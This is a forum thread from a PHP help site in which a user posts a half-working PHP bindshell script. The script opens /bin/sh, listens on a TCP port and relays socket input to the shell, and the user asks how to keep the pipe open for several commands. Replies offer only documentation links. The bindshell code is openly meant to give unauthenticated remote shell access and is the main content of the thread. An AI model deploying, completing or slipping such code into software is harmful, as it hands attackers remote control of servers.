tch Posted May 30, 2007 Share Posted May 30, 2007 Hi all. I ve been trying to make a CLI script in PHP to execute /bin/sh and create a pipe for stdin / stdout / stderr. It should work like this. You start the script, it executes /bin/sh and passes the streams to the process it opened. Moreover I would like it to listen for connections with sockets. I have the whole script half-done, here's the code and explanation: #!/usr/bin/php -q <?php $address = "192.168.1.34"; $port = "8888"; $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); $mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_bind($mysock, $address, $port) or die("Can't bind to <$address:$port>\n"); socket_listen($mysock, 5); $client = socket_accept($mysock); socket_write($client, "-= PHP Bindshell =-\n"); while (is_resource($process)) { $input = socket_read($client, 1024); fwrite($pipes[0], "$input"); //fclose($pipes[0]); $output = stream_get_contents($pipes[1]); socket_write($client, $output); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); socket_close($client); socket_close($mysock); ?> It works as expected only if I uncomment the fclose(); but then I have the handle closed, so I can execute only 1 command. Is there a better way to do this. PS: You may have noticed from the code that this tends to be a bindshell. I know that there are better languages for this purpose, I just want to know if this is possible with php. Quote Link to comment https://forums.phpfreaks.com/topic/53623-execute-shell-interactive/ Share on other sites More sharing options...
Wildbug Posted May 30, 2007 Share Posted May 30, 2007 http://us.php.net/manual/en/function.proc-open.php#69847 Quote Link to comment https://forums.phpfreaks.com/topic/53623-execute-shell-interactive/#findComment-265062 Share on other sites More sharing options...
tch Posted May 31, 2007 Author Share Posted May 31, 2007 Yea I tried that and it don't work. <?php ... while (is_resource($process)) { $input = socket_read($client, 1024); fwrite($pipes[0], $input); // input contains a newline // fclose($pipes[0]); fflush($pipes[0]); sleep(1); $output = stream_get_contents($pipes[1]); socket_write($client, $output); } ... ?> I asked this on some other forums, but no one could give an exact answer. If anyone knows a better way to do this with php, please reply. Thank you. Quote Link to comment https://forums.phpfreaks.com/topic/53623-execute-shell-interactive/#findComment-265564 Share on other sites More sharing options...
Wildbug Posted May 31, 2007 Share Posted May 31, 2007 Did you check out this guy's program: http://mgeisler.net/php-shell/ ? Sorry I can't help you more. Seems like a cool project. Quote Link to comment https://forums.phpfreaks.com/topic/53623-execute-shell-interactive/#findComment-265572 Share on other sites More sharing options...
tch Posted May 31, 2007 Author Share Posted May 31, 2007 Yeah now I checked it and he uses it to execute a command then read stdout and stderr. So this dont helped me. Well thanks for your effort and I'm looking forward to solve that one or get an exact answer. Quote Link to comment https://forums.phpfreaks.com/topic/53623-execute-shell-interactive/#findComment-265692 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.